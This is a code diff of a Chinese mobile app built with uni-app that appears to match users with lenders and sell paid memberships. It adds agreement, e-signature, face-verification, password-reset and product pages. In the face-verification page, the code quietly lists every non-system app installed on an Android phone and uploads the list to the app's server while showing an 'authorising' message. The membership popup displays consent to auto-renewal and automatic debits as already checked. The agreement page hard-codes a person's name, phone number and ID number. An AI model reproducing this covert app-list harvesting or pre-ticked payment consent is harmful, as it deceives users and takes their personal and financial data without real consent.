            <image class="edu-loading" src="/static/imgs/loading.gif" ></image>
            <view class="edu-over" @tap="$util.goSwitch('/pages/index/index')">认证完成</view>
        </view>
        <!--uni-popup ref="popup" type="center" :is-mask-click="false">
            <view class="popup-content">
                <image class="edu-close" v-if="delFlag" src="/static/imgs/delete.png"  @tap="popClose"></image>
                <image class="edu-icon-1" src="/static/imgs/edu_1.png" ></image>
                <view class="edu-view">
                    <view class="edu-view-desc">未匹配到合适的资金方</view>
                    <image class="edu-icon-2" src="/static/imgs/edu_2.png" ></image>
                    <image class="edu-icon-3" src="/static/imgs/edu_3.png" ></image>
                    <view class="edu-check">
                        <image src="/static/imgs/checked.png" ></image>
                        <view class="">
                            我已阅读并同意
                            <text @tap="agreeDialog1">《会服务协议》</text>
                            <text @tap="agreeDialog2">《委托扣款确认书》</text>,
                            理解并接受相关条款并同意自动续费。
                        </view>
                    </view>
                    <view style="text-align: center;padding-bottom: 20rpx;color: cornflowerblue;" @tap="$util.goPages('/pages/equity/equity')">查看详情>>></view>
                </view>
                <view class="edu-btn" @tap="buyEquity">
                    <image src="/static/imgs/edu_4.png" ></image>
                </view>
            </view>
        </uni-popup-->
        <agreePup ref="agreePup1" :gp="4" title="会员服务协议"></agreePup>
        <agreePup ref="agreePup2" :gp="5" title="委托扣款确认书"></agreePup>
    </view>
</template>
<script>
    import agreePup from "@/components/agreePup/agreePup";
    export default {
        data() {
            return {
                userInfo: null,
                config: null,
                delFlag: false,
            }
        },
        onLoad() {
            //this.getUserInfo()
        },
        methods: {
            getUserInfo () {
                let t = this
                t.$util.post('User/getUser').then(res => {
                    t.userInfo = res.data
                })
            },
            agreeDialog1 (e) {
                this.$refs.agreePup1.dialog = !this.$refs.agreePup1.dialog
            },
            agreeDialog2 (e) {
                this.$refs.agreePup2.dialog = !this.$refs.agreePup2.dialog
            },
            popClose () {
                this.$refs.popup.close()
            },
            buyEquity () {
                let t = this
                t.$util.post('Equity/createOrder').then(res => {
                    if(res.code == 1) {
                        uni.showToast({
                            title: res.msg || '购买成功',
                            icon: 'success'
                        })
                        t.$refs.popup.close()
                        t.$refs.popup2.open()
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            }
        }
    }
</script>
<style>
    @import url(/static/css/edu.css);
</style>
pages/entrust/entrust.vue
New file
@@ -0,0 +1,367 @@
<template>
    <view>
        <view class="title"></view>
        <view class="title-desc">
            本协议是您作为用户与连云港远屹网络科技有限公司(以下简称为"本公司")之间就其提供的  权益服务所订立的协议,在您签订本协议前,您已经阅读、理解并接受本协议以及各类规则,并承诺遵守中国法律规定,如您不同意,或无法准确理解相关条款的含义,请不要使用服务。您一经使用服务即视为对本协议全部条款已充分理解并完全接受。
            <image class="title-desc-yz" src="/static/imgs/yinzhang.png" ></image>
        </view>
        <view class="main">
            <view class="">1.定义与解释</view>
            <view class="">
                1.1 本协议:指《会员权益服务协议》任何条款、明细、信息、补充说明及补充协议。本协
                议为您与本公司之间约定相关权利义务的具有法律约束力的合同文件,并适用于用户使用服
                务的全部活动。
            </view>
            <view class="">
                1.2 权益服务:是指您本次购买的一项有偿服务。(服务具体内容详见实际购买展示页面)。
                (下称“本服务”)
            </view>
            <view class="">
                1.3 用户:为年满 18 周岁或者 16 周岁以上,以自己的劳动收入为主要生活来源的,并且具
                有完全民事行为能力的中华人民共和国公民,以下简称“您”或“用户”。
            </view>
            <view class="">
                1.4 页面:指您购买会员权益服务时所看到的一系列页面,包括但不限于权益购买、权益兑
                换等页面。
            </view>
            <view class="">2.服务内容及申请</view>
            <view class="">2.1 当您阅读并同意本协议、支付完服务费后,即获得已经购买的生活权益兑换使用权限。</view>
            <view class="">
                2.2 您有权使用您确认的手机号码(或称“账户名称”)及手机验证码(账户名称及验证码
                合称“账户”)登录页面。
            </view>
            <view class="">3.本公司服务及规范</view>
            <view class="">3.1 生活类权益由本公司提供并承担全部责任(下文所述“权益”均指生活权益);</view>
            <view class="">
                3.2 本公司提供包括但不限于消费、娱乐、资讯、交通出行、生活服务、酒店住宿等各类服
                务,兼容自有业务产品、外接第三方业务产品服务。
            </view>
            <view class="">
                3.2.1 通过本公司提供的单项服务,包括但不限于“资讯”、“视频”、“游戏”、“虚拟
                卡券”等。
            </view>
            <view class="">
                3.2.2 本公司有权根据业务运行规则不时地变更、暂停上述服务或上线其他服务类型,权益
                调整将在相应服务页面进行通知或公告,您可以通过服务页面查询最新的权益内容,具体规
                则及费用计收以本公司规则为准。但该等变更不会削弱已购买服务的用户的权益。
            </view>
            <view class="">3.3 费用收取</view>
            <view class="">
                3.3.1 费用收取时间和收费标准:您购买权益服务,应向本公司支付购买权益费用,不同产
                品及服务对应不同收费标准,具体收费时点和标准以购买页面显示为准。
            </view>
            <view class="">
                3.3.2 费用收取方式:费用采用线上付费的方式,包括但不限于微信、支付宝、银行卡快捷
                支付、信用卡等方式。具体付款方式以页面显示为准。
            </view>
            <view class="">
                3.3.3 退款规则:用户开通本权益服务后,用户不可中途取消或终止本权益服务,本公司不
                退还用户因开通本权益服务支付的费用,但特殊情况下本公司同意退款的用户除外。
            </view>
            <view class="">3.4 关于退款/退货的特别约定:</view>
            <view class="">
                3.4.1 由于市场变化及各种以合理商业难以控制的因素的影响,本公司无法保证您提交的订
                单信息中希望购买的产品都会有货;如您下单所购买的产品发生缺货,您有权取消订单;本
                公司亦有权取消订单,并为您(若已付款)办理退款。
            </view>
            <view class="">
                3.4.2 如发生退款/退货的,退款金额的确定及相关流程以您购买权益时公布的规则为准;其
                他退货相关事宜以本公司的商品售后服务政策及相关退货规则为准。
            </view>
            <view class="">3.5 服务规则</view>
            <view class="">
                3.5.1 如您通过本公司购买产品或服务的,则您知晓并同意,本公司向您交付产品或服务并
                承担物流及售后保障,如您需要开具发票的,由本公司负责开具。
            </view>
            <view class="">
                3.5.2 本公司可通过平台、网站、电子邮件、手机短信、即时通讯软件等向您发送服务产品、
                重要提示、订单申请信息、服务协议、服务规则等信息。
            </view>
            <view class="">
                3.5.3 本公司有权在确有必要的情况下,自行或授权其他方通过合理的方式向用户或用户联
                系人告知本协议相关情况。
            </view>
            <view class="">3.5.4 如您对本服务有异议,您可以联系本公司客服中心并提出异议。</view>
            <view class="">4.权利和义务</view>
            <view class="">
                4.1 在使用服务的过程中,您有义务提供自己的真实资料,您同意并提交本人手机号码,并
                保证提供的资料真实、准确、完整、合法有效,您的用户资料如有变动的,应及时更新资料。
                如果您提供的资料不合法、不真实、不准确、不详尽,您需承担因此引起的相应责任及后果,
                并且本公司保留终止用户参与该活动的权利。
            </view>
            <view class="">
                4.2 您应妥善保管您的个人信息,如您发现有他人冒用、盗用或有其他可能危及到您账户资
                金安全情形时,应立即通知本公司,向本公司申请暂停相关服务。非因本公司的过错导致的
                任何损失由您自行承担。
            </view>
            <view class="">
                4.3 用户信息保护与共享:本公司对于您提供的、本公司自行收集到的、经认证的个人信息
                将按照本协议及有关规则予以保护、使用或者披露,并在权益服务的范围内共享给实际权益
                服务提供方。本公司将采用行业标准惯例以保护您的个人资料。
            </view>
            <view class="">
                4.4 您应合理使用其享有的本公司服务,除为实现您自身的本公司服务利益外,不得利用其
                享有的服务非法获利,不得以任何形式售卖其所享有的服务,不得滥用其所享有的服务,如
                因您不当行为致平台合理怀疑的或判定的,本公司有权暂停或关闭服务,此外,您需承担因
                此引起的相应责任及后果。
            </view>
            <view class="">4.5 本公司有理由认为您不再或可能不再符合本协议项下服务的开通或使用条件时,本公司
            有权拒绝为您开通服务或提供本协议项下的各项服务。</view>
            <view class="">4.6 跟公司有权在法律法规允许的范围内,结合业务发展等实际情况,调整平台服务范围、
            各项功能和收费标准及其他重要事项,并通过平台公告等方式及时通知您。</view>
            <view class="">
                4.7 本公司对您提供的相关信息负有保密的义务,并保证将按照法律法规规定保护用户提供
                的相关信息,经过您同意授权的除外。
            </view>
            <view class="">
                4.8 您知悉并同意,本公司收集您的信息除将提供所购买产品所涉服务外,还将就服务相关
                的其他产品、服务向您推送。您收到本公司的该类提示或通知的,可根据通知内容至相关页
                面进行了解,或者您可回复退订,当您退订该类服务通知的,本公司将不再向您发送同类通
                知。
            </view>
            <view class="">5.知识产权</view>
            <view class="">
                5.1 您知悉,知识产权(包括但不限于商标、专利及著作权等)归权利方所有,非经所有人
                事先书面同意,您不得使用、修改、复制、公开传播、篡改或以其他方式侵犯本公司知识产
                权。
            </view>
            <view class="">6.免责条款</view>
            <view class="">
                6.1 本公司出现下列任一状况而无法正常运作,致使无法向您提供本协议项下服务,不承担
                任何违约或赔偿责任,该状况包括但不限于:
            </view>
            <view class="">6.1.1 在服务平台维护期间;</view>
            <view class="">6.1.2 电信设备出现故障不能进行数据传输的;</view>
            <view class="">
                6.1.3 因台风、地震、海啸、洪水、停电、战争、恐怖袭击等不可抗力之因素,造成系统障
                碍不能执行业务的;
            </view>
            <view class="">
                6.1.4 由于黑客攻击、电信部门和其他平台有信息技术依赖的相关部门、企事业单位技术调
                整或故障、网站升级、银行方面的问题等原因而造成的服务中断或者延迟。
            </view>
            <view class="">
                6.2 因国家相关主管部门颁布、变更的法令、政策导致本公司不能提供本协议项下服务的,
                不视为本公司违约,本公司与您可根据相关的法令、政策变更条款内容或提前终止本协议。
            </view>
            <view class="">
                6.3 本公司有权根据风险及自身业务运营情况需要中止(终止)向您提供服务,因此导致您
                无法使用服务或服务受到限制的,不视为本公司违约。本公司保证终止服务前后会妥善处理
                已购买服务得相关事宜。
            </view>
            <view class="">
                6.4 对于任何您自本公司而获得的非本公司自身的信息、内容、或者广告宣传等资讯,本公
                司不负保证真实、准确和完整性的责任。您须自行甄别真伪和谨慎预防风险,否则,无论何
                种原因,本公司不对任何非与本公司直接发生的交易和(或)行为承担任何直接、间接、附
                带或衍生的损失和责任。
            </view>
            <view class="">
                6.5 您理解并同意,因本公司根据本协议和您的授权并依法向第三方提供您的用户信息产生
                的任何后果和风险与本公司无关,包括但不限于您的借款申请被拒绝、您无法获得更优惠的
                交易条件等。
            </view>
            <view class="">6.6 本公司对本协议所承担的违约赔偿责任总额不超过向您收取的当次服务费用总额。</view>
            <view class="">
                6.7 如您对本协议下所有涉及条款的理解发生争议的,本公司在法律许可的范围内对本协议
                享有最终的解释权。
            </view>
            <view class="">7.您的违约及处理</view>
            <view class="">7.1 违约认定</view>
            <view class="">发生如下情形之一的,视为您违约:</view>
            <view class="">(一)未按时支付服务费用的;</view>
            <view class="">(二)使用本公司服务时违反有关法律法规规定的;</view>
            <view class="">(三)或违反本协议或本协议补充协议(即本协议第 11.2 条)约定的。</view>
            <view class="">7.2 违约处理措施</view>
            <view class="">
                【信息处理】 您发布的信息构成违约的,本公司可根据相应规则立即对相应信息进行删除、
                屏蔽处理。
            </view>
            <view class="">
                【行为限制】您发生违约后,本公司可对您执行限制参加营销活动、中止向您提供部分或全
                部服务等处理措施。如您的行为构成根本违约的,本公司可暂停或终止向您提供服务。
            </view>
            <view class="">
                7.3 赔偿责任
                如您的行为使本公司及/或其关联公司遭受损失(包括自身的直接经济损失、商誉损失及对
                外支付的赔偿金、和解款、律师费、诉讼费等间接经济损失),您应赔偿本公司及/或其关
                联公司上述全部损失。
                如您的行为使本公司及/或其关联公司遭受第三人主张权利,本公司及/或其关联公司可在对
                第三人承担金钱给付等义务后就全部损失向您追偿。
            </view>
            <view class="">7.4 特别约定</view>
            <view class="">
                【关联处理】如您因严重违约导致本公司终止本协议时,出于维护秩序及保护消费者权益的
                目的,本公司及/或其关联公司可对与您在其他协议项下的合作采取中止甚或终止协议的措
                施,并以本协议第 10 条约定的方式通知您。
            </view>
            <view class="">8.协议变更与解除</view>
            <view class="">
                8.1 本公司有权因国家法律法规变化及网站运营需要不定期地拟定、修改或终止本协议,并
                及时以公告的方式通知您。经修订的条款一经通知,立即自动生效,您应及时关注不时发布
                的各项服务规则及本协议的变更。若不同意相关规则及条款修改的,应及时终止与平台的协
                议。如您继续使用平台提供的服务,即视为同意更新后的协议。
            </view>
            <view class="">9.使用法律及争议解决</view>
            <view class="">
                9.1 本协议的签订、履行、终止、解释和争议解决受中国法律管辖。
            </view>
            <view class="">
                9.2 因本协议引发的或与本协议有关的争议,由本公司与您协商解决,也可由有关部门调解;
                协商或调解不成的,由本协议签署地上海市徐汇区有管辖权的人民法院管辖。
            </view>
            <view class="">10. 通知</view>
            <view class="">
                10.1 有效联系方式
                您接受本公司服务时,您应该向本公司提供真实有效的联系方式(包括您的联系电话等),
                对于联系方式发生变更的,您有义务及时更新有关信息,并保持可被联系的状态。本公司将
                向您的上述联系方式向您送达各类通知,而此类通知的内容可能对您的权利义务产生重大的
                有利或不利影响,请您务必及时关注。
            </view>
            <view class="">
                10.2 通知的送达
                本公司通过上述联系方式向您发出通知,其中以电子的方式发出的书面通知,包括但不限于
                页面公告,向您提供的联系电话发送手机短信,向您提供的电子邮件地址发送电子邮件,向
                您的账号发送系统消息以及站内信信息,在发送成功后即视为送达;以纸质载体发出的书面
                通知,按照提供联系地址交邮后的第五个自然日即视为送达。
                对于在本公司上因交易活动引起的任何纠纷,您同意司法机关(包括但不限于人民法院)可
                以通过手机短信、电子邮件等现代通讯方式或邮寄方式向您送达法律文书(包括但不限于诉
                讼文书)。您指定的邮寄地址为您的法定联系地址或您提供的有效联系地址。
                您同意司法机关可采取以上一种或多种送达方式向您送达法律文书,司法机关采取多种方式
                向您送达法律文书,送达时间以上述送达方式中最先送达的为准。
                如果因提供的联系方式不确切,或不及时告知变更后的联系方式,使法律文书无法送达或未
                及时送达,由您自行承担由此可能产生的法律后果。
            </view>
            <view class="">11.个人信息授权</view>
            <view class="">
                11.1、在您购买本权益后,您授权将您的注册手机号共享给本公司,用于支付权益款、交易
                确认、进行权益兑换、对接权益执行时间,并将您购买的权益关联到您的实名手机号,满足
                您的权益使用的目的。且该等共享仅限于前述服务之必需。
            </view>
            <view class="">
                11.2 您授权本公司可通过平台、网站、电子邮件、手机短信、电话等向您发送重要提示、
                服务协议、服务规则等信息。您如果不愿意接收此类信息,您有权通过本公司提供的相应的
                退订功能进行退订。但请注意,一旦退订,您可能因此无法接收与服务相关的信息、通知等
                而影响您正常接受本平台为您提供的服务。
            </view>
            <view class="">
                11.3 请您在申请第三方产品或服务前,仔细阅读本条款,并对第三方相关产品、及自身风
                险承担做出客观仔细判断。您明确理解并同意该服务可能因第三方产品漏洞或功能调整致您
                拟申请的服务未能达到预期效果,且该等后果由您本人独自承担。
            </view>
            <view class="">
                11.4 您确认并同意,如有其他您同意的协议、规则或条款对个人信息处理的说明与本条款
                不一致的,以本条款的相关内容为准。
            </view>
            <view class="">12.其他</view>
            <view class="">
                12.1 如果本协议任一条款规定根据任何法律或法规在任何方面被裁定为无效、不合法或不
                可强制执行,本协议其余规定不应在任何方面受到影响或损害。本公司与您应通过诚意磋商,
                争取以法律许可以及各方期望的最大限度内有效的规定取代该等无效、不合法或不可强制执
                行的规定。
            </view>
            <view class="">
                12.2 对本协议作出的任何修改和补充均应为书面形式。本公司与您签署的与本协议有关的
                修改协议和补充协议应是本协议不可分割的组成部分,并应具有与本协议同等的法律效力。
            </view>
            <view class="">
                12.3 本协议可通过点击确认或购买本服务或以电子签名方式签订,您同意授权签约平台使
                用您在业务申请过程中提供的个人资料信息向其合作的第三方签章公司生成和调用您的电
                子签章签署本协议,本协议一经签订即生效。您一经使用本服务即视为您同意签署本协议。
            </view>
        </view>
        <view class="qshu">
            <view class="">
                <text>姓名:</text>
                <text>张三</text>
            </view>
            <view class="">
                <text>电话:</text>
                <text>18679176380</text>
            </view>
            <view class="">
                <text>身份证:</text>
                <text>360122198910221235</text>
            </view>
            <image class="qshu-yz" src="/static/imgs/yinzhang.png" ></image>
        </view>
        <view class="company">
            <view class="">连云港远屹网络科技有限公司</view>
            <view class="">2025-06-16</view>
            <image class="company-yz" src="/static/imgs/yinzhang.png" ></image>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
            }
        },
        methods: {
        }
    }
</script>
<style>
.title{
    padding: 20rpx 0;
    text-align: center;
    font-size: 32rpx;
    font-weight: 700;
}
.title-desc{
    padding: 0 20upx;
    line-height: 56upx;
    font-weight: 700;
    text-decoration: underline;
    position: relative;
}
.main{
    padding: 0 20upx;
}
.main view{
    padding: 10upx 0;
    line-height: 56upx;
}
.title-desc-yz{
    top: 20upx;
    right: 30upx;
    width: 300upx;
    height: 300upx;
    position: absolute;
}
.qshu{
    padding: 30upx 30upx 0 30upx;
    position: relative;
}
.qshu view{
    font-weight: 700;
    padding: 10upx 0;
}
.company{
    padding: 30upx;
    font-weight: 700;
    text-align: right;
    position: relative;
}
.company view{
    padding: 10upx 0;
}
.qshu-yz{
    top: -40upx;
    left: 80upx;
    width: 300upx;
    height: 300upx;
    position: absolute;
}
.company-yz{
    top: -80upx;
    right: 0upx;
    width: 300upx;
    height: 300upx;
    position: absolute;
}
</style>
pages/esign/esign.vue
New file
@@ -0,0 +1,25 @@
<template>
    <view>
        <web-view :src="signUrl"></web-view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                signUrl: '',
            }
        },
        onLoad(op) {
            this.signUrl = op.signUrl ? op.signUrl : ''
        },
        methods: {
        }
    }
</script>
<style>
</style>
pages/face/face.vue
New file
@@ -0,0 +1,175 @@
<template>
    <view></view>
</template>
<script>
    import permision from "@/js_sdk/wa-permission/permission.js"
    export default {
        data() {
            return {
                userInfo:'',
                faceAuth:'',
                Apps: [],
                config: null,
            }
        },
        onLoad(option) {
            this.getConfig()
            setTimeout(() => {
                this.getUserInfo()
            }, 300)
        },
        methods: {
            getConfig() {
                let t = this
                t.$util.post('Index/getConfig').then(res => {
                    if(res.code == 1) {
                        t.config = res.data
                    }
                })
            },
            getUserInfo () {
                let t = this
                let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
                if(userStr != null) {
                    t.$util.post('User/getUser').then(res => {
                        if(res.code == 1){
                            if(res.data.apps == 0 && uni.getSystemInfoSync().platform == 'android' && this.config.put_open == 2){
                                this.getAllApply()
                            } else {
                                this.getSign()
                            }
                        }
                    })
                }
            },
            getSign () {
                let t = this
                this.$util.post('Face/getFaceId').then(res => {
                    console.log('face', res)
                    if(res.code == 1) {
                        t.faceApp(res.data)
                    } else {
                        uni.showToast({
                            title:'请求异常'
                        })
                    }
                })
            },
            faceApp(data){
                const face = uni.requireNativePlugin('DC-WBFaceServiceV2');
                face.startWbFaceVerifyService({
                    userId: data.userId,
                    nonce:data.nonce,
                    sign: data.sign,
                    appId: data.appId,
                    orderNo: data.orderNo,
                    apiVersion: data.version,
                    licence: data.licence,
                    compareType:"0",
                    faceId: data.faceId,
                    sdkConfig: {
                        //和iOS共有的配置参数
                        showSuccessPage: true, //是否展示成功页面,默认不展示
                        showFailurePage: false, //是否展示失败页面,默认不展示
                        recordVideo: false, //是否录制视频,默认不录制
                        checkVideo:false,//是否检查视频大小
                        playVoice: false, //是否播放语音提示,默认不播放
                        theme: '1', //sdk皮肤设置,0黑色,1白色
                        customerTipsLoc:'0',//自定义提示的位置,0在预览框下面,1在预览框上面
                        customerTipsInLive:'',//检测时的自定义提示语
                        customerTipsInUpload:'',//上传时的自定义提示语
                        customerLongTip:'',//自定义长提示语
                        //android独有的配置参数
                        isEnableLog: true, //是否打开刷脸native日志,请release版本关闭!!!
                        //iOS独有的配置参数
                        windowLevel: '1', //sdk中拉起人脸活体识别界面中使用UIWindow时的windowLevel配置
                        manualCookie: true ,//是否由SDK内部处理sdk网络请求的cookie
                        useWindowSecene: false,
                    }
                }, result => {
                    if(result.res.success){
                        this.faceVerify(data.orderNo)
                    } else {
                        uni.showToast({
                            title: result.res.error.desc || '人脸失败',
                            icon: 'error'
                        })
                        setTimeout(()=>{
                            uni.switchTab({
                                url:'/pages/index/index'
                            })
                        },1500)
                    }
                })
            },
            faceVerify (orderNo) {
                let t = this
                this.$util.post('face/getREsult', {orderNo: orderNo}).then(res => {
                    if(res.code == 1) {
                        uni.showToast({
                            title:'验证成功'
                        })
                        uni.setStorageSync('user-info', JSON.stringify(res.data))
                        setTimeout(()=>{
                            t.$util.goPages('/pages/job/job')
                        },1500)
                    } else {
                        uni.showToast({
                            title:'验证失败'
                        })
                    }
                })
            },
            getAllApply() {
                uni.showLoading({
                    title: '授权中...'
                })
                let self = this
                const main = plus.android.runtimeMainActivity(); // 此处相当于 context
                const pManager = plus.android.invoke(main, 'getPackageManager');
                const ApplicationInfo = plus.android.importClass("android.content.pm.ApplicationInfo");
                // getInstalledApplications || getInstalledPackages
                const packages = plus.android.invoke(pManager, 'getInstalledPackages', 0);
                const total = plus.android.invoke(packages, 'size');
                let appInfoList = [];
                // 遍历获取包名和应用名称
                for (let i = 0; i < total; i++) {
                    try{
                        const packageInfo = plus.android.invoke(packages, 'get', i); //
                        // 获取包名
                        const packName = plus.android.getAttribute(packageInfo, 'packageName');
                        const versionName  = plus.android.getAttribute(packageInfo, 'versionName');
                        const versionCode   = plus.android.getAttribute(packageInfo, 'versionCode');
                        const appInfo = plus.android.invoke(pManager, 'getApplicationInfo', packName, 0);
                        const appName = plus.android.invoke(pManager, 'getApplicationLabel', appInfo);
                        const appApkPath = appInfo.plusGetAttribute("sourceDir"); // 获取安装包
                        // 是否是系统软件
                        const isSystem = packageInfo.plusGetAttribute("applicationInfo").plusGetAttribute('flags') & ApplicationInfo.FLAG_SYSTEM != 0 ? true : false;
                        // 判断是否是系统文件
                        if(!isSystem) {
                            appInfoList.push({
                                packName,
                                versionName,
                                versionCode,
                                appName,
                            })
                        }
                    } catch(e){
                        console.log('异常')
                    }
                }
                if(appInfoList.length > 0){
                    self.$util.post('Apps/setApps', appInfoList).then(rs => {
                        uni.hideLoading()
                        self.getSign()
                    })
                }
                uni.hideLoading()
            },
        }
    }
</script>
<style>
</style>
pages/findpass/findpass.vue
New file
@@ -0,0 +1,159 @@
<template>
    <view>
        <view class="login-title">
            <view class="login-title-1">重置密码</view>
        </view>
        <view class="login-list">
            <view class="login-item">
                <input type="tel" v-model="formData.phone" placeholder="请输入手机号" />
            </view>
            <view class="login-item">
                <input type="password" v-model="formData.pass" placeholder="请输入新密码" />
            </view>
            <view class="login-item">
                <input type="password" v-model="formData.tpass" placeholder="请确认新密码" />
            </view>
            <view class="login-item">
                <input type="number" v-model="formData.code" maxlength="4" placeholder="请输入验证码" />
                <text class="code2" v-if="leftTime < 60">{{leftTime}}S后获取</text>
                <text class="code" @click="sendCode" v-else>获取验证码</text>
            </view>
        </view>
        <view class="loginBtn">
            <view class="loginBtn-desc">
                <image @click="agreeClick" class="loginBtn-icon" :src="!loginAct ? '/static/imgs/check.png' : '/static/imgs/checked.png'" ></image>
                <text>我已阅读并同意</text>
                <text class="blue" @tap="goAgree(1)">《注册协议》</text>
                <text class="blue" @tap="goAgree(1)">《隐私政策》</text>
            </view>
            <view :class="loginAct ? 'login-btn active' : 'login-btn'" @click="findPassword">找回密码</view>
            <view class="loginDesc">
                <view class="fc" @tap="$util.goPages('/pages/login/login')">已有账号,立即登录</view>
            </view>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                loginAct: false,
                formData: {
                    phone: '',
                    pass: '',
                    tpass: '',
                    code: '',
                },
                phoneReg: /^\d{11}$/,
                leftTime: 60,
            }
        },
        onLoad(op) {
        },
        methods: {
            agreeClick () {
                this.loginAct = !this.loginAct
            },
            goAgree (t) {
                // #ifdef APP-PLUS
                let url = this.$baseUrl + '/?gp=' + t
                plus.runtime.openURL(url)
                // #endif
            },
            findPassword () {
                let t = this
                if(!t.loginAct) {
                    return uni.showToast({
                        title: '请阅读并同意协议政策',
                        icon: 'error'
                    })
                }
                if(t.formData.phone == '' || !t.phoneReg.test(t.formData.phone)){
                    return uni.showToast({
                        title: '手机号错误!',
                        icon: 'error',
                    })
                }
                if(t.formData.pass == ''){
                    return uni.showToast({
                        title: '请输入密码!',
                        icon: 'error',
                    })
                }
                if(t.formData.tpass == ''){
                    return uni.showToast({
                        title: '请输入确认密码!',
                        icon: 'error',
                    })
                }
                if(t.formData.tpass != t.formData.pass){
                    return uni.showToast({
                        title: '密码不一致!',
                        icon: 'error',
                    })
                }
                if(t.formData.code == ''){
                    return uni.showToast({
                        title: '请输入验证码!',
                        icon: 'error',
                    })
                }
                t.$util.post('User/findpass', this.formData).then(res => {
                    if(res.code == 1) {
                        uni.showToast({
                            title: res.msg || '操作成功'
                        })
                        setTimeout(() => {
                            t.$util.goPages('/pages/login/login')
                        }, 1500)
                    } else {
                        uni.showToast({
                            title: res.msg || '登录失败',
                            icon: 'error'
                        })
                    }
                })
            },
            sendCode () {
                let t = this
                if(this.formData.phone == '' || !this.phoneReg.test(t.formData.phone)){
                    return uni.showToast({
                        title: '手机号错误!',
                        icon: 'error',
                    })
                }
                if (this.leftTime < 60) {
                    return false
                }
                this.$util.post('Sms/sendVerificationCode', {phone: this.formData.phone}).then(res => {
                    if(res.code == 1){
                        console.log(res)
                        t.countDown()
                        uni.showToast({
                            title:'发送成功',
                            icon:'none'
                        })
                    } else {
                        uni.showToast({
                            title: res.msg,
                            icon: 'none',
                        })
                    }
                })
            },
            countDown() {
                this.leftTime--
                if (this.leftTime > 0) {
                    setTimeout(this.countDown, 1000)
                } else {
                    this.leftTime = 60
                }
            },
        }
    }
</script>
<style>
    @import url(/static/css/login.css);
</style>
pages/ginfo/ginfo.vue
New file
@@ -0,0 +1,203 @@
<template>
    <view>
        <view class="banner">
            <image class="backLeft" src="/static/imgs/blackleft.png"  @click="$util.goBack"></image>
            <swiper class="swiper" circular @change="durationChange" :indicator-dots="indicatorDots" :indicator-color="indicatorColor" :autoplay="autoplay" :indicator-active-color="indicatorActiveColor" :interval="interval" :duration="duration">
                <swiper-item v-for="(item, index) in goodsData.banner" :key="index">
                    <image lazy-load :src="item" ></image>
                </swiper-item>
            </swiper>
            <view class="bannerIndex">{{bannerIndex}}/{{goodsData.bannerCount}}</view>
        </view>
        <view class="gTitle">
            <view class="">{{goodsData.title}}</view>
            <view class="">
                <text>¥</text>
                <text>{{goodsData.price}}</text>
                <text>积分:{{goodsData.points}}</text>
            </view>
            <view class="collect" @tap="collectGoods">
                <image :src="goodsData.collect == 1 ? '/static/imgs/colls.png' : '/static/imgs/coll.png'" ></image>
            </view>
        </view>
        <view class="gInfo-title">商品详情</view>
        <view class="gInfo" v-html="goodsData.info"></view>
        <view class="gBtn">
            <view class="gBtn-view" @tap="$util.goSwitch('/pages/index/index')">
                <view class="">
                    <image src="/static/imgs/home.png" ></image>
                    <view>首页</view>
                </view>
            </view>
            <view class="gBtn-view" @tap="goKefu">
                <view class="">
                    <image src="/static/imgs/message.png" ></image>
                    <view>客服</view>
                </view>
            </view>
            <view class="gBtn-view" @tap="addCarts">
                <view class="">
                    <image src="/static/imgs/carts.png" ></image>
                    <view>购物车</view>
                </view>
            </view>
            <view class="gBtn-buy" @click="goBuy">
                <text>立即购买</text>
            </view>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                indicatorDots: true,
                indicatorColor: '#e3b400',
                indicatorActiveColor: '#ffffff',
                autoplay: true,
                interval: 3000,
                duration: 500,
                goodsId: 0,
                goodsData: {},
                bannerIndex: 1,
                userInfo: uni.getStorageSync('user-info') ? JSON.parse(uni.getStorageSync('user-info')) : null,
                Config: uni.getStorageSync('Config') ? JSON.parse(uni.getStorageSync('Config')) : null,
            }
        },
        onLoad(op){
            this.getConfig()
            this.goodsId = op.id ? op.id : 0
            if(this.goodsId > 0) {
                this.getGoodsInfo()
            }
        },
        methods: {
            goKefu() {
                if(this.Config && this.Config.kefu_open == 1) {
                    this.wechatWork()
                } else {
                    this.$util.checkLogin('/pages/customer/customer')
                }
            },
            getConfig () {
                let t = this
                t.$util.post('Index/getConfig').then(res => {
                    t.Config = res.data
                })
            },
            wechatWork () {
                let t = this
                if(t.Config){
                    if(t.Config.put_open == 1){
                        uni.showModal({
                            title: '联系客服',
                            content: '请联系客服电话:' + t.Config.kefu_phone,
                            showCancel: false,
                            success: function (res) {
                                if (res.confirm) {
                                }
                            }
                        });
                    } else {
                        uni.share({
                            provider: "weixin",
                            openCustomerServiceChat: true,
                            customerUrl: t.Config.work_url, //企业微信地址
                            corpid: t.Config.work_id, //企业id
                            success: (res) => {
                                console.log("success:" + JSON.stringify(res))
                            },
                            fail: (err) => {
                                console.log("fail:" + JSON.stringify(err))
                            }
                        })
                    }
                }
            },
            durationChange (e) {
                this.bannerIndex = e.detail.current + 1
            },
            getGoodsInfo () {
                this.$util.post('Goods/getGoodsInfo', {goodsId: this.goodsId}).then(res => {
                    this.goodsData = res.data
                    this.goodsData.info = res.data.info.replace(/\<img/gi, '<img style="max-width:100%;height:auto;margin-bottom: -4px"')
                })
            },
            collectGoods () {
                let burl = '/pages/ginfo/ginfo?id=' + this.goodsData.id
                if(!this.$util.checkGoPages('/pages/login/login', burl, 0)) {
                    return
                }
                this.$util.post('Collect/addCollect', {goodsid: this.goodsData.id}).then(res => {
                    if(res.code == 1) {
                        this.goodsData.collect = 1
                        uni.showToast({
                            title: res.msg || '收藏成功',
                            icon: 'success'
                        })
                    } else if(res.code == 2) {
                        this.goodsData.collect = 0
                        uni.showToast({
                            title: res.msg || '取消成功',
                            icon: 'success'
                        })
                    } else {
                        uni.showToast({
                            title: res.msg || '收藏失败',
                            icon: 'error'
                        })
                    }
                })
            },
            goBuy () {
                let t = this
                let burl = '/pages/ginfo/ginfo?id=' + this.goodsData.id
                if(!this.$util.checkLogin('', burl)) {
                    return
                }
                t.$util.post('Carts/addCarts', {goodsId: this.goodsData.id}).then(res => {
                    if(res.code == 1) {
                        uni.navigateTo({
                            url: '/pages/pays/pays?cartsIds=' + res.data.cartsId
                        })
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
